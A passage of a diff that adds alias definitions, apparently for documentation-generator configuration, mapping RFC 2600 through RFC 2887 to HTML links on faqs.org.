+                         "RFC2600=<a href=\"http://www.faqs.org/rfcs/rfc2600.html\">RFC 2600</a>" \
+                         "RFC2601=<a href=\"http://www.faqs.org/rfcs/rfc2601.html\">RFC 2601</a>" \
+                         "RFC2602=<a href=\"http://www.faqs.org/rfcs/rfc2602.html\">RFC 2602</a>" \
+                         "RFC2603=<a href=\"http://www.faqs.org/rfcs/rfc2603.html\">RFC 2603</a>" \
+                         "RFC2604=<a href=\"http://www.faqs.org/rfcs/rfc2604.html\">RFC 2604</a>" \
+                         "RFC2605=<a href=\"http://www.faqs.org/rfcs/rfc2605.html\">RFC 2605</a>" \
+                         "RFC2606=<a href=\"http://www.faqs.org/rfcs/rfc2606.html\">RFC 2606</a>" \
+                         "RFC2607=<a href=\"http://www.faqs.org/rfcs/rfc2607.html\">RFC 2607</a>" \
+                         "RFC2608=<a href=\"http://www.faqs.org/rfcs/rfc2608.html\">RFC 2608</a>" \
+                         "RFC2609=<a href=\"http://www.faqs.org/rfcs/rfc2609.html\">RFC 2609</a>" \
+                         "RFC2610=<a href=\"http://www.faqs.org/rfcs/rfc2610.html\">RFC 2610</a>" \
+                         "RFC2611=<a href=\"http://www.faqs.org/rfcs/rfc2611.html\">RFC 2611</a>" \
+                         "RFC2612=<a href=\"http://www.faqs.org/rfcs/rfc2612.html\">RFC 2612</a>" \
+                         "RFC2613=<a href=\"http://www.faqs.org/rfcs/rfc2613.html\">RFC 2613</a>" \
+                         "RFC2614=<a href=\"http://www.faqs.org/rfcs/rfc2614.html\">RFC 2614</a>" \
+                         "RFC2615=<a href=\"http://www.faqs.org/rfcs/rfc2615.html\">RFC 2615</a>" \
+                         "RFC2616=<a href=\"http://www.faqs.org/rfcs/rfc2616.html\">RFC 2616</a>" \
+                         "RFC2617=<a href=\"http://www.faqs.org/rfcs/rfc2617.html\">RFC 2617</a>" \
+                         "RFC2618=<a href=\"http://www.faqs.org/rfcs/rfc2618.html\">RFC 2618</a>" \
+                         "RFC2619=<a href=\"http://www.faqs.org/rfcs/rfc2619.html\">RFC 2619</a>" \
+                         "RFC2620=<a href=\"http://www.faqs.org/rfcs/rfc2620.html\">RFC 2620</a>" \
+                         "RFC2621=<a href=\"http://www.faqs.org/rfcs/rfc2621.html\">RFC 2621</a>" \
+                         "RFC2622=<a href=\"http://www.faqs.org/rfcs/rfc2622.html\">RFC 2622</a>" \
+                         "RFC2623=<a href=\"http://www.faqs.org/rfcs/rfc2623.html\">RFC 2623</a>" \
+                         "RFC2624=<a href=\"http://www.faqs.org/rfcs/rfc2624.html\">RFC 2624</a>" \
+                         "RFC2625=<a href=\"http://www.faqs.org/rfcs/rfc2625.html\">RFC 2625</a>" \
+                         "RFC2626=<a href=\"http://www.faqs.org/rfcs/rfc2626.html\">RFC 2626</a>" \
+                         "RFC2627=<a href=\"http://www.faqs.org/rfcs/rfc2627.html\">RFC 2627</a>" \
+                         "RFC2628=<a href=\"http://www.faqs.org/rfcs/rfc2628.html\">RFC 2628</a>" \
+                         "RFC2629=<a href=\"http://www.faqs.org/rfcs/rfc2629.html\">RFC 2629</a>" \
+                         "RFC2630=<a href=\"http://www.faqs.org/rfcs/rfc2630.html\">RFC 2630</a>" \
+                         "RFC2631=<a href=\"http://www.faqs.org/rfcs/rfc2631.html\">RFC 2631</a>" \
+                         "RFC2632=<a href=\"http://www.faqs.org/rfcs/rfc2632.html\">RFC 2632</a>" \
+                         "RFC2633=<a href=\"http://www.faqs.org/rfcs/rfc2633.html\">RFC 2633</a>" \
+                         "RFC2634=<a href=\"http://www.faqs.org/rfcs/rfc2634.html\">RFC 2634</a>" \
+                         "RFC2635=<a href=\"http://www.faqs.org/rfcs/rfc2635.html\">RFC 2635</a>" \
+                         "RFC2636=<a href=\"http://www.faqs.org/rfcs/rfc2636.html\">RFC 2636</a>" \
+                         "RFC2637=<a href=\"http://www.faqs.org/rfcs/rfc2637.html\">RFC 2637</a>" \
+                         "RFC2638=<a href=\"http://www.faqs.org/rfcs/rfc2638.html\">RFC 2638</a>" \
+                         "RFC2639=<a href=\"http://www.faqs.org/rfcs/rfc2639.html\">RFC 2639</a>" \
+                         "RFC2640=<a href=\"http://www.faqs.org/rfcs/rfc2640.html\">RFC 2640</a>" \
+                         "RFC2641=<a href=\"http://www.faqs.org/rfcs/rfc2641.html\">RFC 2641</a>" \
+                         "RFC2642=<a href=\"http://www.faqs.org/rfcs/rfc2642.html\">RFC 2642</a>" \
+                         "RFC2643=<a href=\"http://www.faqs.org/rfcs/rfc2643.html\">RFC 2643</a>" \
+                         "RFC2644=<a href=\"http://www.faqs.org/rfcs/rfc2644.html\">RFC 2644</a>" \
+                         "RFC2645=<a href=\"http://www.faqs.org/rfcs/rfc2645.html\">RFC 2645</a>" \
+                         "RFC2646=<a href=\"http://www.faqs.org/rfcs/rfc2646.html\">RFC 2646</a>" \
+                         "RFC2647=<a href=\"http://www.faqs.org/rfcs/rfc2647.html\">RFC 2647</a>" \
+                         "RFC2648=<a href=\"http://www.faqs.org/rfcs/rfc2648.html\">RFC 2648</a>" \
+                         "RFC2649=<a href=\"http://www.faqs.org/rfcs/rfc2649.html\">RFC 2649</a>" \
+                         "RFC2650=<a href=\"http://www.faqs.org/rfcs/rfc2650.html\">RFC 2650</a>" \
+                         "RFC2651=<a href=\"http://www.faqs.org/rfcs/rfc2651.html\">RFC 2651</a>" \
+                         "RFC2652=<a href=\"http://www.faqs.org/rfcs/rfc2652.html\">RFC 2652</a>" \
+                         "RFC2653=<a href=\"http://www.faqs.org/rfcs/rfc2653.html\">RFC 2653</a>" \
+                         "RFC2654=<a href=\"http://www.faqs.org/rfcs/rfc2654.html\">RFC 2654</a>" \
+                         "RFC2655=<a href=\"http://www.faqs.org/rfcs/rfc2655.html\">RFC 2655</a>" \
+                         "RFC2656=<a href=\"http://www.faqs.org/rfcs/rfc2656.html\">RFC 2656</a>" \
+                         "RFC2657=<a href=\"http://www.faqs.org/rfcs/rfc2657.html\">RFC 2657</a>" \
+                         "RFC2658=<a href=\"http://www.faqs.org/rfcs/rfc2658.html\">RFC 2658</a>" \
+                         "RFC2659=<a href=\"http://www.faqs.org/rfcs/rfc2659.html\">RFC 2659</a>" \
+                         "RFC2660=<a href=\"http://www.faqs.org/rfcs/rfc2660.html\">RFC 2660</a>" \
+                         "RFC2661=<a href=\"http://www.faqs.org/rfcs/rfc2661.html\">RFC 2661</a>" \
+                         "RFC2662=<a href=\"http://www.faqs.org/rfcs/rfc2662.html\">RFC 2662</a>" \
+                         "RFC2663=<a href=\"http://www.faqs.org/rfcs/rfc2663.html\">RFC 2663</a>" \
+                         "RFC2664=<a href=\"http://www.faqs.org/rfcs/rfc2664.html\">RFC 2664</a>" \
+                         "RFC2665=<a href=\"http://www.faqs.org/rfcs/rfc2665.html\">RFC 2665</a>" \
+                         "RFC2666=<a href=\"http://www.faqs.org/rfcs/rfc2666.html\">RFC 2666</a>" \
+                         "RFC2667=<a href=\"http://www.faqs.org/rfcs/rfc2667.html\">RFC 2667</a>" \
+                         "RFC2668=<a href=\"http://www.faqs.org/rfcs/rfc2668.html\">RFC 2668</a>" \
+                         "RFC2669=<a href=\"http://www.faqs.org/rfcs/rfc2669.html\">RFC 2669</a>" \
+                         "RFC2670=<a href=\"http://www.faqs.org/rfcs/rfc2670.html\">RFC 2670</a>" \
+                         "RFC2671=<a href=\"http://www.faqs.org/rfcs/rfc2671.html\">RFC 2671</a>" \
+                         "RFC2672=<a href=\"http://www.faqs.org/rfcs/rfc2672.html\">RFC 2672</a>" \
+                         "RFC2673=<a href=\"http://www.faqs.org/rfcs/rfc2673.html\">RFC 2673</a>" \
+                         "RFC2674=<a href=\"http://www.faqs.org/rfcs/rfc2674.html\">RFC 2674</a>" \
+                         "RFC2675=<a href=\"http://www.faqs.org/rfcs/rfc2675.html\">RFC 2675</a>" \
+                         "RFC2676=<a href=\"http://www.faqs.org/rfcs/rfc2676.html\">RFC 2676</a>" \
+                         "RFC2677=<a href=\"http://www.faqs.org/rfcs/rfc2677.html\">RFC 2677</a>" \
+                         "RFC2678=<a href=\"http://www.faqs.org/rfcs/rfc2678.html\">RFC 2678</a>" \
+                         "RFC2679=<a href=\"http://www.faqs.org/rfcs/rfc2679.html\">RFC 2679</a>" \
+                         "RFC2680=<a href=\"http://www.faqs.org/rfcs/rfc2680.html\">RFC 2680</a>" \
+                         "RFC2681=<a href=\"http://www.faqs.org/rfcs/rfc2681.html\">RFC 2681</a>" \
+                         "RFC2682=<a href=\"http://www.faqs.org/rfcs/rfc2682.html\">RFC 2682</a>" \
+                         "RFC2683=<a href=\"http://www.faqs.org/rfcs/rfc2683.html\">RFC 2683</a>" \
+                         "RFC2684=<a href=\"http://www.faqs.org/rfcs/rfc2684.html\">RFC 2684</a>" \
+                         "RFC2685=<a href=\"http://www.faqs.org/rfcs/rfc2685.html\">RFC 2685</a>" \
+                         "RFC2686=<a href=\"http://www.faqs.org/rfcs/rfc2686.html\">RFC 2686</a>" \
+                         "RFC2687=<a href=\"http://www.faqs.org/rfcs/rfc2687.html\">RFC 2687</a>" \
+                         "RFC2688=<a href=\"http://www.faqs.org/rfcs/rfc2688.html\">RFC 2688</a>" \
+                         "RFC2689=<a href=\"http://www.faqs.org/rfcs/rfc2689.html\">RFC 2689</a>" \
+                         "RFC2690=<a href=\"http://www.faqs.org/rfcs/rfc2690.html\">RFC 2690</a>" \
+                         "RFC2691=<a href=\"http://www.faqs.org/rfcs/rfc2691.html\">RFC 2691</a>" \
+                         "RFC2692=<a href=\"http://www.faqs.org/rfcs/rfc2692.html\">RFC 2692</a>" \
+                         "RFC2693=<a href=\"http://www.faqs.org/rfcs/rfc2693.html\">RFC 2693</a>" \
+                         "RFC2694=<a href=\"http://www.faqs.org/rfcs/rfc2694.html\">RFC 2694</a>" \
+                         "RFC2695=<a href=\"http://www.faqs.org/rfcs/rfc2695.html\">RFC 2695</a>" \
+                         "RFC2696=<a href=\"http://www.faqs.org/rfcs/rfc2696.html\">RFC 2696</a>" \
+                         "RFC2697=<a href=\"http://www.faqs.org/rfcs/rfc2697.html\">RFC 2697</a>" \
+                         "RFC2698=<a href=\"http://www.faqs.org/rfcs/rfc2698.html\">RFC 2698</a>" \
+                         "RFC2699=<a href=\"http://www.faqs.org/rfcs/rfc2699.html\">RFC 2699</a>" \
+                         "RFC2700=<a href=\"http://www.faqs.org/rfcs/rfc2700.html\">RFC 2700</a>" \
+                         "RFC2701=<a href=\"http://www.faqs.org/rfcs/rfc2701.html\">RFC 2701</a>" \
+                         "RFC2702=<a href=\"http://www.faqs.org/rfcs/rfc2702.html\">RFC 2702</a>" \
+                         "RFC2703=<a href=\"http://www.faqs.org/rfcs/rfc2703.html\">RFC 2703</a>" \
+                         "RFC2704=<a href=\"http://www.faqs.org/rfcs/rfc2704.html\">RFC 2704</a>" \
+                         "RFC2705=<a href=\"http://www.faqs.org/rfcs/rfc2705.html\">RFC 2705</a>" \
+                         "RFC2706=<a href=\"http://www.faqs.org/rfcs/rfc2706.html\">RFC 2706</a>" \
+                         "RFC2707=<a href=\"http://www.faqs.org/rfcs/rfc2707.html\">RFC 2707</a>" \
+                         "RFC2708=<a href=\"http://www.faqs.org/rfcs/rfc2708.html\">RFC 2708</a>" \
+                         "RFC2709=<a href=\"http://www.faqs.org/rfcs/rfc2709.html\">RFC 2709</a>" \
+                         "RFC2710=<a href=\"http://www.faqs.org/rfcs/rfc2710.html\">RFC 2710</a>" \
+                         "RFC2711=<a href=\"http://www.faqs.org/rfcs/rfc2711.html\">RFC 2711</a>" \
+                         "RFC2712=<a href=\"http://www.faqs.org/rfcs/rfc2712.html\">RFC 2712</a>" \
+                         "RFC2713=<a href=\"http://www.faqs.org/rfcs/rfc2713.html\">RFC 2713</a>" \
+                         "RFC2714=<a href=\"http://www.faqs.org/rfcs/rfc2714.html\">RFC 2714</a>" \
+                         "RFC2715=<a href=\"http://www.faqs.org/rfcs/rfc2715.html\">RFC 2715</a>" \
+                         "RFC2716=<a href=\"http://www.faqs.org/rfcs/rfc2716.html\">RFC 2716</a>" \
+                         "RFC2717=<a href=\"http://www.faqs.org/rfcs/rfc2717.html\">RFC 2717</a>" \
+                         "RFC2718=<a href=\"http://www.faqs.org/rfcs/rfc2718.html\">RFC 2718</a>" \
+                         "RFC2719=<a href=\"http://www.faqs.org/rfcs/rfc2719.html\">RFC 2719</a>" \
+                         "RFC2720=<a href=\"http://www.faqs.org/rfcs/rfc2720.html\">RFC 2720</a>" \
+                         "RFC2721=<a href=\"http://www.faqs.org/rfcs/rfc2721.html\">RFC 2721</a>" \
+                         "RFC2722=<a href=\"http://www.faqs.org/rfcs/rfc2722.html\">RFC 2722</a>" \
+                         "RFC2723=<a href=\"http://www.faqs.org/rfcs/rfc2723.html\">RFC 2723</a>" \
+                         "RFC2724=<a href=\"http://www.faqs.org/rfcs/rfc2724.html\">RFC 2724</a>" \
+                         "RFC2725=<a href=\"http://www.faqs.org/rfcs/rfc2725.html\">RFC 2725</a>" \
+                         "RFC2726=<a href=\"http://www.faqs.org/rfcs/rfc2726.html\">RFC 2726</a>" \
+                         "RFC2727=<a href=\"http://www.faqs.org/rfcs/rfc2727.html\">RFC 2727</a>" \
+                         "RFC2728=<a href=\"http://www.faqs.org/rfcs/rfc2728.html\">RFC 2728</a>" \
+                         "RFC2729=<a href=\"http://www.faqs.org/rfcs/rfc2729.html\">RFC 2729</a>" \
+                         "RFC2730=<a href=\"http://www.faqs.org/rfcs/rfc2730.html\">RFC 2730</a>" \
+                         "RFC2731=<a href=\"http://www.faqs.org/rfcs/rfc2731.html\">RFC 2731</a>" \
+                         "RFC2732=<a href=\"http://www.faqs.org/rfcs/rfc2732.html\">RFC 2732</a>" \
+                         "RFC2733=<a href=\"http://www.faqs.org/rfcs/rfc2733.html\">RFC 2733</a>" \
+                         "RFC2734=<a href=\"http://www.faqs.org/rfcs/rfc2734.html\">RFC 2734</a>" \
+                         "RFC2735=<a href=\"http://www.faqs.org/rfcs/rfc2735.html\">RFC 2735</a>" \
+                         "RFC2736=<a href=\"http://www.faqs.org/rfcs/rfc2736.html\">RFC 2736</a>" \
+                         "RFC2737=<a href=\"http://www.faqs.org/rfcs/rfc2737.html\">RFC 2737</a>" \
+                         "RFC2738=<a href=\"http://www.faqs.org/rfcs/rfc2738.html\">RFC 2738</a>" \
+                         "RFC2739=<a href=\"http://www.faqs.org/rfcs/rfc2739.html\">RFC 2739</a>" \
+                         "RFC2740=<a href=\"http://www.faqs.org/rfcs/rfc2740.html\">RFC 2740</a>" \
+                         "RFC2741=<a href=\"http://www.faqs.org/rfcs/rfc2741.html\">RFC 2741</a>" \
+                         "RFC2742=<a href=\"http://www.faqs.org/rfcs/rfc2742.html\">RFC 2742</a>" \
+                         "RFC2743=<a href=\"http://www.faqs.org/rfcs/rfc2743.html\">RFC 2743</a>" \
+                         "RFC2744=<a href=\"http://www.faqs.org/rfcs/rfc2744.html\">RFC 2744</a>" \
+                         "RFC2745=<a href=\"http://www.faqs.org/rfcs/rfc2745.html\">RFC 2745</a>" \
+                         "RFC2746=<a href=\"http://www.faqs.org/rfcs/rfc2746.html\">RFC 2746</a>" \
+                         "RFC2747=<a href=\"http://www.faqs.org/rfcs/rfc2747.html\">RFC 2747</a>" \
+                         "RFC2748=<a href=\"http://www.faqs.org/rfcs/rfc2748.html\">RFC 2748</a>" \
+                         "RFC2749=<a href=\"http://www.faqs.org/rfcs/rfc2749.html\">RFC 2749</a>" \
+                         "RFC2750=<a href=\"http://www.faqs.org/rfcs/rfc2750.html\">RFC 2750</a>" \
+                         "RFC2751=<a href=\"http://www.faqs.org/rfcs/rfc2751.html\">RFC 2751</a>" \
+                         "RFC2752=<a href=\"http://www.faqs.org/rfcs/rfc2752.html\">RFC 2752</a>" \
+                         "RFC2753=<a href=\"http://www.faqs.org/rfcs/rfc2753.html\">RFC 2753</a>" \
+                         "RFC2754=<a href=\"http://www.faqs.org/rfcs/rfc2754.html\">RFC 2754</a>" \
+                         "RFC2755=<a href=\"http://www.faqs.org/rfcs/rfc2755.html\">RFC 2755</a>" \
+                         "RFC2756=<a href=\"http://www.faqs.org/rfcs/rfc2756.html\">RFC 2756</a>" \
+                         "RFC2757=<a href=\"http://www.faqs.org/rfcs/rfc2757.html\">RFC 2757</a>" \
+                         "RFC2758=<a href=\"http://www.faqs.org/rfcs/rfc2758.html\">RFC 2758</a>" \
+                         "RFC2759=<a href=\"http://www.faqs.org/rfcs/rfc2759.html\">RFC 2759</a>" \
+                         "RFC2760=<a href=\"http://www.faqs.org/rfcs/rfc2760.html\">RFC 2760</a>" \
+                         "RFC2761=<a href=\"http://www.faqs.org/rfcs/rfc2761.html\">RFC 2761</a>" \
+                         "RFC2762=<a href=\"http://www.faqs.org/rfcs/rfc2762.html\">RFC 2762</a>" \
+                         "RFC2763=<a href=\"http://www.faqs.org/rfcs/rfc2763.html\">RFC 2763</a>" \
+                         "RFC2764=<a href=\"http://www.faqs.org/rfcs/rfc2764.html\">RFC 2764</a>" \
+                         "RFC2765=<a href=\"http://www.faqs.org/rfcs/rfc2765.html\">RFC 2765</a>" \
+                         "RFC2766=<a href=\"http://www.faqs.org/rfcs/rfc2766.html\">RFC 2766</a>" \
+                         "RFC2767=<a href=\"http://www.faqs.org/rfcs/rfc2767.html\">RFC 2767</a>" \
+                         "RFC2768=<a href=\"http://www.faqs.org/rfcs/rfc2768.html\">RFC 2768</a>" \
+                         "RFC2769=<a href=\"http://www.faqs.org/rfcs/rfc2769.html\">RFC 2769</a>" \
+                         "RFC2770=<a href=\"http://www.faqs.org/rfcs/rfc2770.html\">RFC 2770</a>" \
+                         "RFC2771=<a href=\"http://www.faqs.org/rfcs/rfc2771.html\">RFC 2771</a>" \
+                         "RFC2772=<a href=\"http://www.faqs.org/rfcs/rfc2772.html\">RFC 2772</a>" \
+                         "RFC2773=<a href=\"http://www.faqs.org/rfcs/rfc2773.html\">RFC 2773</a>" \
+                         "RFC2774=<a href=\"http://www.faqs.org/rfcs/rfc2774.html\">RFC 2774</a>" \
+                         "RFC2775=<a href=\"http://www.faqs.org/rfcs/rfc2775.html\">RFC 2775</a>" \
+                         "RFC2776=<a href=\"http://www.faqs.org/rfcs/rfc2776.html\">RFC 2776</a>" \
+                         "RFC2777=<a href=\"http://www.faqs.org/rfcs/rfc2777.html\">RFC 2777</a>" \
+                         "RFC2778=<a href=\"http://www.faqs.org/rfcs/rfc2778.html\">RFC 2778</a>" \
+                         "RFC2779=<a href=\"http://www.faqs.org/rfcs/rfc2779.html\">RFC 2779</a>" \
+                         "RFC2780=<a href=\"http://www.faqs.org/rfcs/rfc2780.html\">RFC 2780</a>" \
+                         "RFC2781=<a href=\"http://www.faqs.org/rfcs/rfc2781.html\">RFC 2781</a>" \
+                         "RFC2782=<a href=\"http://www.faqs.org/rfcs/rfc2782.html\">RFC 2782</a>" \
+                         "RFC2783=<a href=\"http://www.faqs.org/rfcs/rfc2783.html\">RFC 2783</a>" \
+                         "RFC2784=<a href=\"http://www.faqs.org/rfcs/rfc2784.html\">RFC 2784</a>" \
+                         "RFC2785=<a href=\"http://www.faqs.org/rfcs/rfc2785.html\">RFC 2785</a>" \
+                         "RFC2786=<a href=\"http://www.faqs.org/rfcs/rfc2786.html\">RFC 2786</a>" \
+                         "RFC2787=<a href=\"http://www.faqs.org/rfcs/rfc2787.html\">RFC 2787</a>" \
+                         "RFC2788=<a href=\"http://www.faqs.org/rfcs/rfc2788.html\">RFC 2788</a>" \
+                         "RFC2789=<a href=\"http://www.faqs.org/rfcs/rfc2789.html\">RFC 2789</a>" \
+                         "RFC2790=<a href=\"http://www.faqs.org/rfcs/rfc2790.html\">RFC 2790</a>" \
+                         "RFC2791=<a href=\"http://www.faqs.org/rfcs/rfc2791.html\">RFC 2791</a>" \
+                         "RFC2792=<a href=\"http://www.faqs.org/rfcs/rfc2792.html\">RFC 2792</a>" \
+                         "RFC2793=<a href=\"http://www.faqs.org/rfcs/rfc2793.html\">RFC 2793</a>" \
+                         "RFC2794=<a href=\"http://www.faqs.org/rfcs/rfc2794.html\">RFC 2794</a>" \
+                         "RFC2795=<a href=\"http://www.faqs.org/rfcs/rfc2795.html\">RFC 2795</a>" \
+                         "RFC2796=<a href=\"http://www.faqs.org/rfcs/rfc2796.html\">RFC 2796</a>" \
+                         "RFC2797=<a href=\"http://www.faqs.org/rfcs/rfc2797.html\">RFC 2797</a>" \
+                         "RFC2798=<a href=\"http://www.faqs.org/rfcs/rfc2798.html\">RFC 2798</a>" \
+                         "RFC2799=<a href=\"http://www.faqs.org/rfcs/rfc2799.html\">RFC 2799</a>" \
+                         "RFC2800=<a href=\"http://www.faqs.org/rfcs/rfc2800.html\">RFC 2800</a>" \
+                         "RFC2801=<a href=\"http://www.faqs.org/rfcs/rfc2801.html\">RFC 2801</a>" \
+                         "RFC2802=<a href=\"http://www.faqs.org/rfcs/rfc2802.html\">RFC 2802</a>" \
+                         "RFC2803=<a href=\"http://www.faqs.org/rfcs/rfc2803.html\">RFC 2803</a>" \
+                         "RFC2804=<a href=\"http://www.faqs.org/rfcs/rfc2804.html\">RFC 2804</a>" \
+                         "RFC2805=<a href=\"http://www.faqs.org/rfcs/rfc2805.html\">RFC 2805</a>" \
+                         "RFC2806=<a href=\"http://www.faqs.org/rfcs/rfc2806.html\">RFC 2806</a>" \
+                         "RFC2807=<a href=\"http://www.faqs.org/rfcs/rfc2807.html\">RFC 2807</a>" \
+                         "RFC2808=<a href=\"http://www.faqs.org/rfcs/rfc2808.html\">RFC 2808</a>" \
+                         "RFC2809=<a href=\"http://www.faqs.org/rfcs/rfc2809.html\">RFC 2809</a>" \
+                         "RFC2810=<a href=\"http://www.faqs.org/rfcs/rfc2810.html\">RFC 2810</a>" \
+                         "RFC2811=<a href=\"http://www.faqs.org/rfcs/rfc2811.html\">RFC 2811</a>" \
+                         "RFC2812=<a href=\"http://www.faqs.org/rfcs/rfc2812.html\">RFC 2812</a>" \
+                         "RFC2813=<a href=\"http://www.faqs.org/rfcs/rfc2813.html\">RFC 2813</a>" \
+                         "RFC2814=<a href=\"http://www.faqs.org/rfcs/rfc2814.html\">RFC 2814</a>" \
+                         "RFC2815=<a href=\"http://www.faqs.org/rfcs/rfc2815.html\">RFC 2815</a>" \
+                         "RFC2816=<a href=\"http://www.faqs.org/rfcs/rfc2816.html\">RFC 2816</a>" \
+                         "RFC2817=<a href=\"http://www.faqs.org/rfcs/rfc2817.html\">RFC 2817</a>" \
+                         "RFC2818=<a href=\"http://www.faqs.org/rfcs/rfc2818.html\">RFC 2818</a>" \
+                         "RFC2819=<a href=\"http://www.faqs.org/rfcs/rfc2819.html\">RFC 2819</a>" \
+                         "RFC2820=<a href=\"http://www.faqs.org/rfcs/rfc2820.html\">RFC 2820</a>" \
+                         "RFC2821=<a href=\"http://www.faqs.org/rfcs/rfc2821.html\">RFC 2821</a>" \
+                         "RFC2822=<a href=\"http://www.faqs.org/rfcs/rfc2822.html\">RFC 2822</a>" \
+                         "RFC2823=<a href=\"http://www.faqs.org/rfcs/rfc2823.html\">RFC 2823</a>" \
+                         "RFC2824=<a href=\"http://www.faqs.org/rfcs/rfc2824.html\">RFC 2824</a>" \
+                         "RFC2825=<a href=\"http://www.faqs.org/rfcs/rfc2825.html\">RFC 2825</a>" \
+                         "RFC2826=<a href=\"http://www.faqs.org/rfcs/rfc2826.html\">RFC 2826</a>" \
+                         "RFC2827=<a href=\"http://www.faqs.org/rfcs/rfc2827.html\">RFC 2827</a>" \
+                         "RFC2828=<a href=\"http://www.faqs.org/rfcs/rfc2828.html\">RFC 2828</a>" \
+                         "RFC2829=<a href=\"http://www.faqs.org/rfcs/rfc2829.html\">RFC 2829</a>" \
+                         "RFC2830=<a href=\"http://www.faqs.org/rfcs/rfc2830.html\">RFC 2830</a>" \
+                         "RFC2831=<a href=\"http://www.faqs.org/rfcs/rfc2831.html\">RFC 2831</a>" \
+                         "RFC2832=<a href=\"http://www.faqs.org/rfcs/rfc2832.html\">RFC 2832</a>" \
+                         "RFC2833=<a href=\"http://www.faqs.org/rfcs/rfc2833.html\">RFC 2833</a>" \
+                         "RFC2834=<a href=\"http://www.faqs.org/rfcs/rfc2834.html\">RFC 2834</a>" \
+                         "RFC2835=<a href=\"http://www.faqs.org/rfcs/rfc2835.html\">RFC 2835</a>" \
+                         "RFC2836=<a href=\"http://www.faqs.org/rfcs/rfc2836.html\">RFC 2836</a>" \
+                         "RFC2837=<a href=\"http://www.faqs.org/rfcs/rfc2837.html\">RFC 2837</a>" \
+                         "RFC2838=<a href=\"http://www.faqs.org/rfcs/rfc2838.html\">RFC 2838</a>" \
+                         "RFC2839=<a href=\"http://www.faqs.org/rfcs/rfc2839.html\">RFC 2839</a>" \
+                         "RFC2840=<a href=\"http://www.faqs.org/rfcs/rfc2840.html\">RFC 2840</a>" \
+                         "RFC2841=<a href=\"http://www.faqs.org/rfcs/rfc2841.html\">RFC 2841</a>" \
+                         "RFC2842=<a href=\"http://www.faqs.org/rfcs/rfc2842.html\">RFC 2842</a>" \
+                         "RFC2843=<a href=\"http://www.faqs.org/rfcs/rfc2843.html\">RFC 2843</a>" \
+                         "RFC2844=<a href=\"http://www.faqs.org/rfcs/rfc2844.html\">RFC 2844</a>" \
+                         "RFC2845=<a href=\"http://www.faqs.org/rfcs/rfc2845.html\">RFC 2845</a>" \
+                         "RFC2846=<a href=\"http://www.faqs.org/rfcs/rfc2846.html\">RFC 2846</a>" \
+                         "RFC2847=<a href=\"http://www.faqs.org/rfcs/rfc2847.html\">RFC 2847</a>" \
+                         "RFC2848=<a href=\"http://www.faqs.org/rfcs/rfc2848.html\">RFC 2848</a>" \
+                         "RFC2849=<a href=\"http://www.faqs.org/rfcs/rfc2849.html\">RFC 2849</a>" \
+                         "RFC2850=<a href=\"http://www.faqs.org/rfcs/rfc2850.html\">RFC 2850</a>" \
+                         "RFC2851=<a href=\"http://www.faqs.org/rfcs/rfc2851.html\">RFC 2851</a>" \
+                         "RFC2852=<a href=\"http://www.faqs.org/rfcs/rfc2852.html\">RFC 2852</a>" \
+                         "RFC2853=<a href=\"http://www.faqs.org/rfcs/rfc2853.html\">RFC 2853</a>" \
+                         "RFC2854=<a href=\"http://www.faqs.org/rfcs/rfc2854.html\">RFC 2854</a>" \
+                         "RFC2855=<a href=\"http://www.faqs.org/rfcs/rfc2855.html\">RFC 2855</a>" \
+                         "RFC2856=<a href=\"http://www.faqs.org/rfcs/rfc2856.html\">RFC 2856</a>" \
+                         "RFC2857=<a href=\"http://www.faqs.org/rfcs/rfc2857.html\">RFC 2857</a>" \
+                         "RFC2858=<a href=\"http://www.faqs.org/rfcs/rfc2858.html\">RFC 2858</a>" \
+                         "RFC2859=<a href=\"http://www.faqs.org/rfcs/rfc2859.html\">RFC 2859</a>" \
+                         "RFC2860=<a href=\"http://www.faqs.org/rfcs/rfc2860.html\">RFC 2860</a>" \
+                         "RFC2861=<a href=\"http://www.faqs.org/rfcs/rfc2861.html\">RFC 2861</a>" \
+                         "RFC2862=<a href=\"http://www.faqs.org/rfcs/rfc2862.html\">RFC 2862</a>" \
+                         "RFC2863=<a href=\"http://www.faqs.org/rfcs/rfc2863.html\">RFC 2863</a>" \
+                         "RFC2864=<a href=\"http://www.faqs.org/rfcs/rfc2864.html\">RFC 2864</a>" \
+                         "RFC2865=<a href=\"http://www.faqs.org/rfcs/rfc2865.html\">RFC 2865</a>" \
+                         "RFC2866=<a href=\"http://www.faqs.org/rfcs/rfc2866.html\">RFC 2866</a>" \
+                         "RFC2867=<a href=\"http://www.faqs.org/rfcs/rfc2867.html\">RFC 2867</a>" \
+                         "RFC2868=<a href=\"http://www.faqs.org/rfcs/rfc2868.html\">RFC 2868</a>" \
+                         "RFC2869=<a href=\"http://www.faqs.org/rfcs/rfc2869.html\">RFC 2869</a>" \
+                         "RFC2870=<a href=\"http://www.faqs.org/rfcs/rfc2870.html\">RFC 2870</a>" \
+                         "RFC2871=<a href=\"http://www.faqs.org/rfcs/rfc2871.html\">RFC 2871</a>" \
+                         "RFC2872=<a href=\"http://www.faqs.org/rfcs/rfc2872.html\">RFC 2872</a>" \
+                         "RFC2873=<a href=\"http://www.faqs.org/rfcs/rfc2873.html\">RFC 2873</a>" \
+                         "RFC2874=<a href=\"http://www.faqs.org/rfcs/rfc2874.html\">RFC 2874</a>" \
+                         "RFC2875=<a href=\"http://www.faqs.org/rfcs/rfc2875.html\">RFC 2875</a>" \
+                         "RFC2876=<a href=\"http://www.faqs.org/rfcs/rfc2876.html\">RFC 2876</a>" \
+                         "RFC2877=<a href=\"http://www.faqs.org/rfcs/rfc2877.html\">RFC 2877</a>" \
+                         "RFC2878=<a href=\"http://www.faqs.org/rfcs/rfc2878.html\">RFC 2878</a>" \
+                         "RFC2879=<a href=\"http://www.faqs.org/rfcs/rfc2879.html\">RFC 2879</a>" \
+                         "RFC2880=<a href=\"http://www.faqs.org/rfcs/rfc2880.html\">RFC 2880</a>" \
+                         "RFC2881=<a href=\"http://www.faqs.org/rfcs/rfc2881.html\">RFC 2881</a>" \
+                         "RFC2882=<a href=\"http://www.faqs.org/rfcs/rfc2882.html\">RFC 2882</a>" \
+                         "RFC2883=<a href=\"http://www.faqs.org/rfcs/rfc2883.html\">RFC 2883</a>" \
+                         "RFC2884=<a href=\"http://www.faqs.org/rfcs/rfc2884.html\">RFC 2884</a>" \
+                         "RFC2885=<a href=\"http://www.faqs.org/rfcs/rfc2885.html\">RFC 2885</a>" \
+                         "RFC2886=<a href=\"http://www.faqs.org/rfcs/rfc2886.html\">RFC 2886</a>" \
+                         "RFC2887=<a href=\"http://www.faqs.org/rfcs/rfc2887.html\">RFC 2887</a>" \
